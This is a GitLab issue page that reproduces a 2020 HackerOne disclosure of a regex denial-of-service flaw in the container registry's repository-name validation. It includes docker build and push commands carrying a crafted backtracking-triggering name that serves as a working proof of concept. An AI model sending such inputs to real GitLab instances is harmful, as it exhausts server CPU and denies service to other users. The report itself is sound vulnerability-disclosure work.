Container registry, repository name ReDos (#220019) · Issues · GitLab.org / GitLab · GitLab (original) (raw)

Skip to content

Container registry, repository name ReDos

HackerOne report #869875 by anyday on 2020-05-10, assigned to @cmaxim:

Hello,

container_repository_name_regex contains catastrophic backtracking.

Code: https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/regex.rb#L33

Steps to reproduce:

1. docker build --tag registry.gl.vm/user1/project/a_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb-----------x .  
2. docker push registry.gl.vm/user1/project/a_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb-----------x  

(repository name up to 255 characters total)

Video:
reg_rep_name_redos.mp4

Impact

regex dos via high cpu usage

Attachments

Warning: Attachments received through HackerOne, please exercise caution!